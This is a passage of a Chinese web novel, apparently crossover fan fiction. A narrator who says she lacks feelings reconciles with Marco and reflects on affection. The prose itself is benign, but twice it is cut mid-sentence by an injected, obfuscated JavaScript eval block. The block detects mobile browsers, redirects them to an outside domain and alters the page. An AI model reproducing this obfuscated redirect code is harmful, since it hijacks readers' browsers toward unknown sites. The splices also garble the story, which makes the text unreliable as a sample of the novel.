一方做出许多不合常理、颠倒黑白的事情,分明在无理取闹,但另一方却始终甘之如饴。两者非但不会因为这种毫无逻辑的举动而疏离,反而会因为这种感情的拉扯而黏合。 这种经典桥段换了其他体裁小说叫做“仗势欺人”,但在恋爱小说里叫做“恃宠而骄”,是拉扯文学里经久不衰的热点。 我问马尔科:“你说的,是这种吗?” 马尔科点头:“嗯……差不多吧。原来你知道啊?” 我知道啊!当然知道,我只是不懂感情,感知不到氛围,但我懂文学啊! 只要他告诉我那是什么,我多少可以理解一些。只要我可以理解,可以建立起一点基础的认知,即便从前我没有想过的,现在开始思考都不算晚。 “原来声音变大也是一种‘恃宠而骄’吗?” 我恍然大悟,连忙请教马尔科:“那我也经常很大声说话,我也是在‘恃宠而骄’吗?” “你不是吗?”他把问题抛还给了我。 ——那我是吗?我问自己。 ——什么?!原来是这样的吗!我不知道啊,真相使我目瞪口呆。 我只知道我和修兵总容易“吵起来”,但那不是真的吵架。因为吵架的结果是互不理睬,而我们总是越大声音,越能达成一致。 所以基于结论反推原因,我一直以为音量变化源自我急于表达——原来还有另外的解释,原来这也算是一种“恃宠而骄”? “……难怪呢!”我悟了,难怪马尔科会说出那种奇怪的话! 爱情不是珍贵的吗?他明明想要,但为什么二选一时,会下意识选择我呢? 我十分感谢他的选择,也真诚地接受他的选择,但其实我并不清楚缘由。 现在我恍然大悟,原来是因为在我无法觉察的情感领域,马尔科和我已经产生了那样深厚的感情啊! “……难怪呢!”我悟了! 难怪卡卡西说我单方面欺负人,我没有!我不是!我没有欺负马尔科! 但他为什么要说我欺负马尔科呢?我分明没有啊! 为什么卡卡西会误会?是什么让卡卡西误会了? 这个问题我也不能明白! 昨夜我几乎没有睡,思来想去,想着或许是我和马尔科交流得少,说不清楚便控制不住地大声讲话——大声讲话不够礼貌,而马尔科从来没有苛责过我…… 虽然我并非故意,但我的无礼仍然和他的温和形成了鲜明的对比。 我想,或许卡卡西是因为我总是大声说话,而马尔科总是让着我,误解为我在欺负马尔科吗? ……原来不是啊。我这下明白了。 “难怪你一点都不生气呢!”我告诉马尔科。 “什么生气?”他一头雾水,“生什么气?” “我和你说话,时不时就变得很大声!”我认为这很失礼,但他从不和我生气,反而对我笑。 “噢……”马尔科不生气啊,真不生气,非但不生气,又和我笑起来了。 “多可爱啊!”他评价说。 59.22 天窗(4) “可爱吗?” “可爱啊!” “哪里可爱了?” “哪里都可爱啊!” “你不会觉得我很无礼吗?” “我以为大小姐在撒娇呢!” …… 多离谱的对话啊!真相和我以为的大相径庭。 我哪里是在撒娇呢?我只是嘴笨,说不清楚,着急而已。马尔科的回答倒真是一种“恃宠而骄”—— 当我问他:“在你眼里,我大声说话非但没有不礼貌,反而很可爱,对吗?” 他果断回答:“对啊!哪里不礼貌了?急得发小脾气,手舞足蹈,这多可爱啊!” “……” 但这到底哪里可爱呢?我一时语塞。 马尔科在说什么啊?这真的可爱吗?真的不是传说中的“无理取闹”吗? 他笑着同我说话,话语传入我耳中,却只叫我倍感诧异。 昨天我尚且不能理解为什么马尔科在二选一会毫不犹豫地选择我,今天我好像知道了答案。 我忽然意识到感情的发展与相识的时长并没有绝对关系——我们认识不过半年时间,但半年时间已经足够了,我们之间似乎的确存在着感情,马尔科对我有感情。 否则发小脾气怎么能是“可爱”的? 这不合常理,不是吗?发小脾气当然是无礼的表现! 倘若马尔科会觉得可爱,那大抵和修兵会接受我的麻烦、卡卡西会包容我的无聊一样,都是因为已经有了浓厚的感情基础。 感情是流动的水,会滋润填补人与人之间的空隙。 如果没有空隙,我与他浑然一体。他自然不会嫌弃“自己”的鲁莽。 我们之间有感情存在。我着实诧异。 一如目盲的人心中知晓世上有色彩的存在,但凭借一双盲眼无法真实地感受色彩。而当太阳同时照射到红蓝两个色块,盲人无法看见色彩,却通过触摸“别样”地感受到了色彩——这未免太震撼了,对于没有心的我来说。 我没有办法感知到情感的存在,除非有一件事物向我证明它是存在的。 譬如大声嚷嚷本质上是一种恃宠而骄,无礼也因此演变成“可爱”……而无礼就是无礼,客观世界是存在本身,不会颠倒,颠倒的是人主观的抉择、感性的美化。 过去我没有意识到。但它是存在的。 已经产生了一些深厚的感情,就存在于我们之间。 这种不可思议的觉察会带给我更多的思考。 我一瞬间觉悟,马尔科的温柔也未必是温柔,也有可能是基于情感的选择性接纳……原来感情真的存在于我们之间。 ——天呐! 我终于知道为什么卡卡西会一反常态地严肃了,我终于知道自己错在了哪儿。 不是因为误会,而是因为我们之间分明就存在真切的感情,而我过去未能察觉。 当我自以为是地让他走时,我一厢情愿地以为我在为他好,但事实上……我感受不到的感情他能感受,我那没有感情的决定会真切地刺痛他包含真情的心。 我想我一定伤害了马尔科的心。 否则,卡卡西惯来宠人,绝不会如此严厉地批评我。 ——天呐! 事实摆在我面前,真相向我揭露,我只觉得五雷轰顶。 我在做什么?我做了什么?我不禁自问,他那么温柔,我怎么能对他说那么残忍的话? 我反应慢。不像别人,当下就能做出最好的选择。 我总是要在事后不断地回想,一次不行,十次、百次、千次……那些无法通过“心”去捕获的讯息,我需要很多时间才能用脑袋钻研透彻。 所以我不可避免地需要不时提起从前的事情,以保证我得到的讯息完备。 而当我得知真相再去回想,我只感悟到自己的愚笨,居然现在才明白为什么卡卡西说我单方面欺负马尔科—— 我是欺负他,即便我对此毫无觉察,但我所做的与把他捧着的真诚抛弃、践踏有什么区别呢? 不珍惜真诚的人,不配得到真诚。 我真是一个笨蛋。这件事我早该觉察,但我居然现在才意识到!甚至于我好不容易意识到,又笨拙得不知道该说些什么,该怎么和他说…… 我一定露出了很丑的表情。 马尔科不笑了,皱着眉头,忧心忡忡地看着我:“怎么了,大小姐?怎么突然这种表情?” “对不起,马尔科。” “哈?什么对不起?” “对不起,我不是要赶你走,我的话让你伤心了吗?” “呃……没有啊。”他不承认,但对话的功夫里,他的表情敏感而颤抖。 我不知道那意味着什么,我只是想要告诉他:“……对不起,我太笨了,现在才知道我乱讲话,没有顾及你的心情——” “没有,没有的事,没有关系,”他打断我,宽慰我,“不怪你,这都不怪你。” 可这为什么不怪我呢?我是那位始作俑者。如果造成了伤害,即便是在我不知情的情况下,后果也一定是我来承担。 办事处的律法也是这样规定的,不会因为犯事者不知情而不处罚。 “不不,不怪你……”马尔科坚持着,“这都是我的问题。” “你没有问题。” “我有啊——明明你告诉过我许多次‘人由过去组成,不能丢下过去,否则失去了自我’‘不要自以为是的妄想,要有起码的尊重’‘不要在乎定义,而要在乎本质’……可是我都没有听。” 我不理解:“马尔科,如果你没有听,你就不会记得这些话。” “我记得,你说的每句话我都记得……但我只是装在脑子里,并没有记到心里去,没有理解你真的表达。” “……”我认为他对自己的要求太高了。 首先,人不可能完全理解另一个人,甚至都不能理解自己。理解是一个宏大的伪命题,世界上没有真正的理解,也没有真正的感同身受,所以我和修兵之间能产生一种“默契”才尤为可贵。 其次,我并没有告诉过他我没有心这件事,他不知情,自然当我是正常人,对于正常人来说原本就不需要额外的思量,不是吗? 小说里是这么写的。 他们只是对话,就会自然而然地理解到对方,或许只有我们家情况特殊,修兵和卡卡西知道我没有心,我没有感情和理解,他们才会知道,理解其实并非那样理所应当。 “是我没有告诉你。” “也没有人一上来就直抒胸臆,把自己没有心这种事说出去吧?” “……嗯,”我点点头。 那倒是,我没有心,没有感情,我不觉得有什么问题,但不可否认,随意说出去会招惹麻烦——而我讨厌麻烦,尤其是那种本可以避免的。 马尔科是对的,他很了解我,不告诉他,不是刻意的隐瞒。 “那你可以原谅我吗?”我问马尔科。 “傻瓜,”他施施然笑着,“你什么都没有错,我有什么好‘原谅’的呢?” “我有啊!我乱说话,让你伤心了。” “……不,不是的,”马尔科摇了摇头,“就算你真的说了让我伤心的话,我也不忍心怪罪。我只会觉得是我的错。” “这不是你的错。” “是我不好,”他居然把错误归因到自己,“之前你说自己缺心眼,我分明感到奇怪,但我却以为大小姐在和我开玩笑……没有深究。” 但我从不开玩笑,我没有真正的幽默感,顶多能说几个地狱玩笑。 或许吧……我承认,误会的发生并不是哪一方的问题,两方都有一定的责任。责任多少而已。这整件事里,马尔科或许也有一丁点错误,如他所说的那样。 “……我有点先入为主了,没想到事情会是这样的,”他叹着气,徐徐谈及,“如果当时问一问你,感到奇怪的时候都问一问你,而不是自以为是的认为‘是玩笑’,或许就不会闹出这种事情了。” “嗯,好吧,”如果他非要坚持,那我同意他的说法,“你有一丁点错。” “才一丁点吗?” “对,你一丁点错,我很多错。” “说什么呢!”马尔科一把揽过我,强行纠正道,“我才是很多错!” 我听着他喋喋不休的辩驳——分明是我没有告诉他,他却归因到了自己“没有发现”。 可这怎么能怪他呢?正常人怎么会往我没有心的方向上去思考?马尔科对自己的要求太高了,他能在相处中隐约觉察到“奇怪”,已经相当了不起。 “……”我绝不承认他有很多错。默不作声,是我坚决的反驳。 “没有,真的没有!”马尔科反复说着,渐渐从事实偏向了无理,“大小姐做什么都是对的,真的!” …… 他的话语实在颠倒,实在大言不惭。 那些话穿过我的耳朵,进入我的大脑,在我的思绪里辗转腾挪。而我却听不懂,一句都听不懂。如果我听不懂,那意味着这些话毫无理智,全是感情。 起初我不反驳,是我反驳不过;后来……也罢,没有必要开口。 真相重要么? 重要的从来是他相信什么,我相信什么,我们又要如何面对和选择。 我望着马尔科:“那还有一件事对不起……” “嗯?”他微微一怔,偏着头,“什么事?” “……”我也不知道该怎么开口,五次三番欲言又止。 “怎么了?”马尔科捧着我的脸,温柔的注视着我。 他太温柔了。这种温柔,我很难拒绝。 像流水充斥在我们之间,黏合着他与我,使得我们浑然一体。 如果他就是我,那我不能对自己撒谎。 我把头靠在马尔科肩上,我得告诉他:“对不起,我真的是误会,不是有意破坏你们的感情。” “哈?你在说什么啊,大小姐!”马尔科惊呼着,“你该不会……以为自己挑拨了关系吧?” “嗯,”我点着头。 ——不是吗? 我反应慢,下午才回过味来,我似乎无意间挑拨了他们的关系。 感情固然需要审视,但我也诚然影响了马尔科的抉择。 这件事我也不是故意的!所以我应该认真地道歉。 闻言马尔科却笑着叹息,抱着我,没那回事似得,缓声阐述着一个我无比赞同的道理。 “说什么呢,傻瓜……能被三言两语挑拨的关系,本身就漏洞百出。而真正的感情,只会在考验中愈发紧密。” “就像我们一样,从前我不了解你,我们也不会这样聊天,不是吗?” “所以不要那样说。没有的事,大小姐什么都没有做错,真的,不要道歉。” “……” 马尔科对我说。 他真好。除此之外,我找不到该怎样去形容这番话带给我头脑的震撼。 “种子不破开坚硬的壳,就不可以发芽。或许这对我们而言是好事,磕碰会让我们成长,不是吗?” “……是的。”我点着头,无比赞同他的观点。 这意味着,蛋壳固然碎了,但蛋壳之外有更广阔的天地。 我们会因为破碎而更加完整。 那是好事。 如果他真心这样认为。 “马尔科,我想要做一个测试。” “什么测试?” 我没有和他解释,只是钻进被窝里,轻轻抱住他的胳膊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005346|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又抱住他的腰。 他并没有推开我,当我靠近,马尔科不明所以,却伸出手来,自然而然地接住了我;而我也没有回避他的触碰,还是可以摸我的脸、我的头、我的胳膊、我的人。 ——完全没有生疏的表现。我和他都是。 我可以认定了,不管我们之间的误会究竟有没有解开、是否解除的彻底,不管我们之间的感情究竟有没有被伤害,又是否得到疗愈,至少现在这一刻,我们还是很要好。 “测试结束了,”我告诉马尔科实验结果,“我们还是最好了,一点不排斥呢!” “啊?”他只是笑,恍然大悟,“所以你是用身体接触的方式去测试自己的接受度吗?” “是的。没有不适就说明喜欢……虽然不严谨,但也足够了。” “嗯,是啊……”他点着头,承认我的观点。眼神却穿过我,静静凝视着远方。 一束清光漫过窗扉,倾斜而入。 他望着皎洁的白月光,也望着我。 我不知道他在想些什么。但见他凝神屏息的样子似一种觉察。我不忍打扰他的思索,直到一声了悟的笑雷鸣一般惊起在无声处—— “呵……” 先是一声,然后千万声。微风细雨拨开平静的湖面,虽起波澜,水体仍是清冽。 先千万声,后归于无声。风雨无声,波澜消失处,万朵金莲一瞬开。 月光分外皎洁。 朦胧的轻纱透过窗,又透过我。散落在他的嘴角,凝聚成一弯潭水,倒映出我的模样。 我不知道他在想什么,马尔科并没有告诉我他想到了什么。 他只是笑着,忽然在被窝里牵住了我的手,以一种特殊的方式。 人躺着不应该这样牵手,这姿势刻意、离奇而古怪。我不知道这意味着什么?我们从来不这样,当我把手塞进他的手心,他总习惯包裹住我,或是如同今日,选择别开生面的十指紧扣。 马尔科没有解释。只有眼神注视着我,又划过我,伴随脸上轻柔的微笑。那些笑容一点点地凝聚在他的嘴角,又弥漫进他的眼中。 “第一次见面,大小姐的手就凉凉的呢。” “嗯……” 我的手向来没有温度,这是事实。他突然的提及却让我恍然大悟——这第一次见面,牢狱里我伸出手去,带他走的姿态。 那时没那么熟悉,我要费力地牵着他,以防他迷失方向。而那时间太久远,我几乎都忘记了。 我能记得的,全是他的手温热干燥,像软和的羽毛被温柔包裹着我。 而我的手潮湿又冰冷,一旦赖在温暖的洪流中,便再也不舍得抽离…… “其实……我们一直都很要好,不是吗?”他问我,“不是从第一次见面,就很亲密了吗?” “……嗯,”好像是的,我没有心,我只能靠身体去体会和感受。 说起来是这样的啊……我的身体从一开始就没有排斥过他,无论他怎样的潦草和落魄。 我不由得怔住了。当清辉穿透窗扉,轻盈地将我们笼罩。我看着他,而他也同样望着我。 裂隙产生了,然后种子方可生根发芽。 倘若心不曾破碎,它便无法打开封闭。 …… 我似乎明白马尔科明白的是什么了。我不能等,我怕我会忘。 我从床上爬起来,必须赶紧敲响修兵的房门,告诉他我最新体会的真理。 ——蛋壳外会有更广阔的天地。 ——没关系,不必恐惧。我们都会因为破碎而完整。 “修兵,我——” 我还没有开始我的先叙后议,“砰”的一声,我吃到了人生里最响亮的一次闭门羹。 木门背后,那声音面红耳赤,含羞带臊,震耳欲聋。 “你这家伙——倒是把裤子穿上啊!!!” …… 我失败了。 以我对修兵的了解,他今天不会再给我开门了。 没办法。我灰溜溜地回了房间,把卡卡西的嘲笑声关在门外,却挡不住房间内马尔科爽朗的笑容。 他们笑吧,无所谓。但我还没有告诉修兵我学到的真理——我和马尔科固然拨云见日,可修兵还在云雾里——这不能无所谓,我得告诉他,不可以随便放弃。 我躺下了,又掏出手机:“修兵啊……” 修兵秒回:“……” “修兵啊,我跟你说——” “……” “真的嘛!”我怕他不信,反复强调,“真的、真的、真的!” “知道了,知道了,服了你了,”修兵信,真的信,“你俩没事了吧?” “我们好着呢!” “那好,”他发了段语音,“快睡觉吧,这么冷的天,让马尔科帮你暖暖。” 那好吧,既然他已经知道了,真理会引领他走出迷茫。 痊愈指日可待,毕竟……情绪困在身体里会生病,而他这一声恶龙咆哮,惊扰得隔壁家鸡也叫狗也吠。早已熟睡的夫妻双双攀在围栏边,静听佳音。 病人哪有这种洪亮的底气?我料他已无大碍。 隔壁沉重的键盘声消失了,逐渐轻盈的指法标志着他已经进入了心流,开始了新的征程。 我也开始困了,丢开手机,嵌入马尔科松软的羽毛里。 “好冷呀……”我告诉他,示意他,得抱抱我。 “冷吗,”他慷慨地张开手臂,允许我没入其中。 他好暖和,暖得我只想睡觉。 马尔科的手机却突然震动起来。 大半夜,卡卡西自己不睡,还给他发消息:“很笨拙,很努力,很励志,很可爱。” 他瞄了一眼,嘴角翘得老高:“哈哈哈哈,同意。” 60.23 距离(1) 我想睡了,是马尔科不想睡。 他和卡卡西的笑声纵情穿梭在夜色里,一唱一和,此起彼伏。 欢笑声里夹杂着床板嘎嘎的响动,余音绕梁,三日不绝。知道的,知道他们在笑话我;不知道的,还以为他们疯了呢! 卡卡西:“哈哈哈哈哈哈!” 马尔科:“哈哈哈哈哈哈哈哈哈!” 卡卡西:“哈哈哈哈哈哈哈哈哈哈!” 马尔科:“哈哈哈哈哈!” …… 真的有这么好笑吗?马尔科和卡卡西足足笑了十分钟也没停下。 我不理解,我大为震惊。 可怜的瞌睡虫被笑声驱逐了。我在震荡中思考,感情真是奇妙的东西: 直到今天,我才意识到我和马尔科之间存在着一些深厚的感情,但从一开始,我就觉察到马尔科和卡卡西之间有——从第一次见面起,卡卡西就表现出了对马尔科绝对的热情。 卡卡西平常可不这样! 生活是生活、工作是工作。他从不会随便开朗。 马尔科也不! 平常他也爱笑,经常笑出地震,但几时能见他笑得开怀,甚至控制不住火焰不断地从身体里外溢? 房间不时被点亮。时间早已过了十二点的红线,梳妆台上的数字钟提醒着我,该睡了。然而我却发现昨天还催我睡觉的马尔科,今天似乎没有一点睡觉的意思? 我已经困得眼皮打架,而他还在哈哈大笑。 我怀疑他压根不想睡,试探道:“明天早上有课吗?” “没有课,这个周末学校里开会,教室被占用了。” “那我们玩多一会儿,明天早上你陪我睡觉,好吗?” “好啊!”他毫不犹豫,欣然允诺。 那……好吧。我大概明白是怎么一回事了: 如果我们的感情是一颗种子,那么不必惊恐种皮的裂痕,因为只有破开蛋壳,初生的小鸟才能见到外面的世界。而或许对于那只小鸟来说,当裂隙透出光,它一定对外面的世界有非常多的好奇。 我固然不能感受,但我可以理解。 马尔科就是那只小鸟,情感的余波还会在他心头荡漾。 他不想睡,睡也睡不着。 我觉得自己也不应该在这时候自顾自地睡去。那很不负责任,因为感情不是他的,而是我们的。 我打了个呵欠,又睁开了眼睛。 我或许无法理解到他的心情,但至少我可以陪伴。 “困了吗?”马尔科不笑了。 “困了,”我如实回答,“但我现在不准备睡。” “怎么了?” “因为你好像不困呢,比往常都要精神。” “啊,我……”他没有否认,坦然地笑了下,“我是啊,我很高兴……昨天不是告诉你了吗?我怎么会掉小珍珠呢,我其实……挺高兴的。” 我听到他字里行间难掩的笑意——是挺高兴的,它甚至传染了我。 我也不禁笑着:“因为蛋壳的破碎,让我们更了解彼此吗?” “嗯,对啊,”马尔科肯定,“就是这样。” “在我刚开始做医生的时候,我就遇到过这种事……” “破碎的蛋壳?” “嗯,对,”他告诉我,“那时我刚开始尝试制造药物……我发现‘正确’的道理,却得不出理想的结果;偶然‘错了’,反而又因此找到了正确的配方。” “那或许‘错’本身是好事——”他意识到了,在他还很是年轻的时候。 “正确的路上不应该有‘错’。只要‘错’出现了,就意味着现在在走的不是正确的路。那么只要能清楚地知道‘错’在哪里,也就可以知道该如何调整,以通向正确的方向。” “不是吗?” 他和我分享起他在医学之路上的求索心得。一番比喻实在精妙。 怎么会不是呢?他说的是啊,当然是,就是这个道理。 我再赞同不过了,没有回答只是因为我深感诧异—— 难怪他会突然得出“种子破皮”的论调,原来我也没有了解真实的马尔科啊?真实的马尔科比我想象中更坚强。 我真的以为他会掉小珍珠——虽然那是我打破僵局的社交技巧,但我也的确这样想。 马尔科在我眼里从来柔软又脆弱,无论是纤细的头发、湿润的眼眸、蓬松的羽毛、还是那颗晶莹剔透的心……都体现出和他体格不相符的敏感细腻。 即便他告诉我,他其实并不伤心,反而因为偏差而高兴。我也不会以为他在高兴,我只会判定那是一种“借口”和“遮掩”,或者“安慰”。 除非他告诉我:“以前……我还不知道,大小姐的听觉这么敏锐yoi~” Yoi~ 突如其来的口癖,让我不由地一愣。 马尔科很久不这么说话了。我后知后觉……他居然是真的在高兴啊?! 他是真的! 这匪夷所思的发展多少有些颠覆了我的认知。 我清楚地记得去年的秋天,我们刚认识的时候,那时候他刚来我们家,还没有上学—— 那是个周三的早上,修兵和卡卡西都去工作了,家里只有我们两个在。 我没有睡好,分一半床给他这件事意味着我不能睡觉乱动了,其实我一点也不习惯,早上我需要睡很多懒觉。 马尔科在屋里做早饭。 家里来了新人,街区的办事人员会按照惯例上门登记。大清早就来敲门,敲得很大声。马尔科没有遇到过这种事,充满疑虑地过来告知我—— “大小姐,外头有个女的。” “……” 我不太满意,虽然他的表述没有任何问题。 但我不满意,我给他穿制服、打领带,不是要他在钢铁森林里茹毛饮血。 文明就像情感,一样看不见、摸不着,但存在着,没有比较就没有高下。 修兵和卡卡西都没有这种情况。我想,不是马尔科的问题,是风土人情而已。 我送他去学校,让他和学生们待在一起,他会知道“外头有个女的”没有什么不对,但“门外有位女士”会更加贴切。 他本人早有察觉。自打他开始上学,马尔科就再没有类似的粗犷表达,而我不止一次地听到他用出了“女士”“小姐”一类的文明词语。 我并没有和他交谈过。 环境所带来的“习惯”,一旦生活的环境改变,也自然会改变。一如秋叶的凋零,自然而然,无可阻挡。 我觉得这没有任何必要谈论。 马尔科很争气。那种完全可以得到调整和优化的习惯,他在很短的时间内就无师自通地进行了调整和优化。而我很早就确定了:马尔科不会带来麻烦,他有着优秀的自我管理能力。 我不准备和他讨论这些。 我想有些问题应该就地解决,而有些问题,应该留给时间去回答。 小羊离开牧场数十天,吃了不好的牧草,肉质却并没有因为短时间的喂养变差。羊如此,人亦然。 漫长的时间在他身上所镌刻下的烙印,想要更替,也需要等候同等的光阴重新雕琢。罗马不是一天建成的。揠苗助长不可取,事物的发展总归有一个过程,这才符合客观定律。 马尔科不过初来乍到,半年时间并不算长,弹指一挥间罢了,什么都要求他未免太过苛刻。我希望他能融入这里的生活,但我并不要求他蜕变——我说了,我有的是时间,可以等他慢慢来。 我不介意他慢慢来。 他有的是资本可以慢慢来。 ——而他的变化总是很快。 在我的观察里,口癖早和他过去的语言系统一起被环境“优化”了。马尔科已经很少使用那套粗鲁的说辞,除非是产生了难以自抑的情绪波动,就像他因大笑而自行燃烧的火焰一样。 Yoi~ 口癖偶尔的出现,我也会觉得可爱。好像第一次离开森林的小动物,穿上了人类的衣服,笨拙地学出了人类的习俗,却在背后不自觉甩起了尾巴,露着本性。 恰好他又是一只毛绒绒的不死鸟——不死鸟不也是鸟?是小动物! “所以呢?”我笑着,忍不住伸手摸摸我们家的小鸟。 “哈哈,干嘛呀,大小姐?”马尔科也笑,偏着头让我摸,嘴上仍问着,“干嘛突然摸我yoi~” Yoi~ 口癖又出现了——肢体接触果然是变亲密的魔法。这对马尔科也真实有效。 我没干嘛,摸摸而已。而他当真在高兴啊…… 我感到新奇,第一次认识到这样的马尔科。 而在我的刻板印象里,男士们大多不喜欢肢体接触。而我们家两位——用刀的修兵会在意“距离”,肢体接触意味着“危险”;卡卡西在体术方面也非常强势,接受度会比修兵高一些。 马尔科也靠体术战斗。我理所应当地推论,他的接受度大抵和卡卡西持平,甚至因为自己是医生,会略高一点。但我没有想到,他的接受度能“高”成这样。 “所以呢?”我一连问了他两次。 “哈哈……”一连两次他只是笑,忘记回答。 笑……有许多种类别。 我并不能感受每种笑的情绪,但我可以分析判断和推理。 他和卡卡西一起笑我吃闭门羹时,那笑爽朗而干脆。 气息既然急进急出,情绪理应大开大合。我想,过快的速度意味着没有周转余地,那样的笑,应该无法夹杂思考,只是一种单纯的、情绪的输出。 而当我抚摸他的下颌和嘴唇,他也在笑,笑声却低沉回旋。 像叮咚跳跃的溪流进入深潭里打转,力道卸了,流动还在。由明转暗的变化里,大有一种润物细无声的味道…… 我说不清楚,我只能猜。 马尔科的情感细腻而丰富。在我们家,只有他会有千百种笑,而修兵和卡卡西都没有。也只有他会告诉我—— “直到昨天,我都不知道你的听力这么敏锐。所以我会想……” “什么?” “你没有心,也没有感情,更不能理解——” “是的。” “那……不是很孤独吗?”马尔科问。 “……”从来没有人这样问过我,我愣住了,无法回应。 这个问题太奇怪了,不是吗? 马尔科分明知道我没有心,没有感情,无法感受,那我怎么会孤独呢?我没有那种情绪。但他为什么要这样问我?是因为他感觉孤独吗? 为什么啊?我会不自觉地思考下去,他为什么会觉得孤独? 马尔科什么时候感觉孤独?是过去还是现在? 月色如天水般倾泻。 疑惑在我脑中勾勒成密实的网。 “——你孤独吗?” 这个问题他问我,我想他不该问我,我下意识地却想问他——马尔科感觉到了孤独吗? 但我没有开口,他的心敏感而柔软,我怕自己控制不好力道,不经意间会伤害他。我几乎可以想象当我反问,马尔科的神色会瞬间凝结,而我只能眼睁睁地看着他凝结,却束手无策,毫无招架之力。 我没有办法真情实感地抚慰,也没有办法和他展开地讨论他的过去。 这条路走不通,明摆着走不通,我选择沉默,跳过这个话题。 有时候,不回答也是一种答案。 我没有更好的回答,所以伸出手,捧着他的脸,靠近他,尽我所能的靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019529|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近他。 “嗯?怎么了?”他也伸出手,尽可能地抱紧我。 他还笑着,只要触碰,就会无声地笑起来。 我扑在他的颈窝里,用最最柔软的语气回应:“我不知道,马尔科。我感受不到。” “嗯,我知道,我的意思是……” 他没有说下去。他可能意识到了,我没有心啊,即便他说了又能怎样?那东西我感受不了,也理解不到。 盲人的世界里甚至没有黑白。询问她五彩斑斓里,最喜欢的色彩是哪一种……又有什么意义呢?比起一个“问题”,这更像是一种明目张胆的“冒犯”。 所以马尔科没有说下去,只是抱住我,无声地叹息。 …… “你还好吗?”等那阵沉默过去,我询问他。 “嗯,”他语气平常,似乎无事,还会问我,“大小姐,你和修兵一开始就是这样无障碍交流的吗?” “不是,我们磨合了很久。” “那在此之前,你们是怎么交流的?” 我不清楚他为什么要问这件事。那是很久以前的事情了,久远到我几乎没有记忆,只有一团乱麻。 “不记得了,”我也如实回答他,“对不起,我的记忆力不好。如果你想知道的话,我明天可以去翻一下以前的小本本。” 不过我也不确定,我是否还保留了那么古老的记录。我不想要他失望,所以我也一并告诉了马尔科。 “……会有可能找不到了。” “没关系,不用找,一听就很麻烦,”马尔科和我说。 如果他当真不想知道的话,倒也无妨,翻找记录的确是麻烦事,而我讨厌麻烦。可以的话,我也懒得去翻阅。 但马尔科话毕,对我发出欲言又止的叹息。 我不免生疑:“马尔科,我们说好了,你有问题要问我。” 他微微一怔,不是忘了,笑着解释:“没什么问题,只是突然想到……” 他没有说,又是一副欲言又止的姿态。 “……好吧,你不要说了。”我要缩回被窝里了。 马尔科一把截住我:“没有,我要说的,我只是在想这该从何说起——” “那是什么事?”我又钻出来,竖起一双耳朵,凑到近处。 我示意他不用着急,慢慢想,因为我有很多时间可以听他慢慢说话。而且我愿意这样做,我不会认为那是一种对生命的浪费。 当我专心地看着他的眼睛,聚精会神地等待着他的言语,我的倾听似乎给到他一些安慰。 “好吧,”马尔科哑然失笑,“是中午的时候……我们说起刚见面时,遇到猪扒店的老板。我发觉我的描述似乎只让你感到迷茫,修兵却不会。” “哦……是的!”我承认,马尔科的解读只叫我一头雾水,而修兵的解释却能让我恍然如昨。 “所以,这也是一种默契吗?” “当然了。” “那修兵是怎么做到的呢?”马尔科不解,“你明明没有心,但他为什么能这么了解你呢?” 这个问题不仅是马尔科,还有卡卡西、修兵,甚至于我自己也很好奇。 我没有确切的答案,只有一个猜想:“或许是因为我和修兵认识了七年了吗?” 马尔科否认了:“我和别人认识了二、三十年,也没有这种默契啊!” 时间不是绝对的要素。卡卡西也说过这话。 我了解,我还有一个猜测:“但修兵告诉了我很多事。你也告诉他们很多事吗?” 马尔科挑着眉:“什么意思?” “就是……我没有心,没有办法直接感受一切。所以一开始,修兵会给我描述他看见的所有。或许,那些对白储存在我的身体里,间接影响到了思维?” 我也不知道,我猜的。 但书上确有相关的理论,在潜意识一章,说明一切的经历都会直接或间接地用于铸造自我。 我没有证据可以证明它是真的,也没有证据可以证明它是假的。 无法被证明真伪的情况下,它的“真伪”只能凭借我的“认为”。 我认为它是真的。 毕竟书上也有相关的理论,在自我与超越一章,也论证说明相信本身具有力量。 信仰什么,就会成为什么。客观的真假并不重要,主观意志的信仰会超越一切。 那东西玄之又玄,无法证真、无法证伪。 心理学、医学、哲学……发展到最后,都成为了一种神秘学。我说不清楚,隐约可以感受。它就像是命运——你知道它存在,蛛丝马迹里都能捕捉它的踪迹,然而这就是它唯一能被探知的地方,除此之外,你找不到它存在。 我只能尽可能地诉说,以我拙劣的表达。 马尔科沉思了一阵,居然听懂了:“嗯……意思是,无法感知的起初,大小姐是一张纯白的纸。修兵在上面描绘了许多事物,这些东西你虽然感受不到,但或许潜移默化地影响到了你的认知?” “嗯!”我连连点头。 马尔科真聪明,一瞬间捕捉到了我真正想表达的点。 他笑着,抬手搓了搓我的耳朵:“这么说,我也应该多和你交流呢。这样就会建立我们的默契吧?” “会的!”我也肯定。 加强交流,即便不能建立起默契,也能产生足够的了解——就像我和卡卡西那样。 而且事实上,比起第一次吃猪扒饭的时候,马尔科已经足够了解我了——那时可不像现在一样,能快速把握我真正的表达。 我还记得他那时呆滞的表现、泛红的双眼……无法从梦魇中脱身的困惑。 而现在,时间已然改变了我们——当我伸出手,他会比我更主动地靠近我,抱紧我。 61.23 距离(2) 我喜欢肢体接触。因为我没有心,这是我唯一可以感受世界的方法。 我会抱紧他的。我没有心,不会害羞,完全没有那些情绪。只要他愿意,我就会用力地抱紧他。 马尔科是愿意的呀! 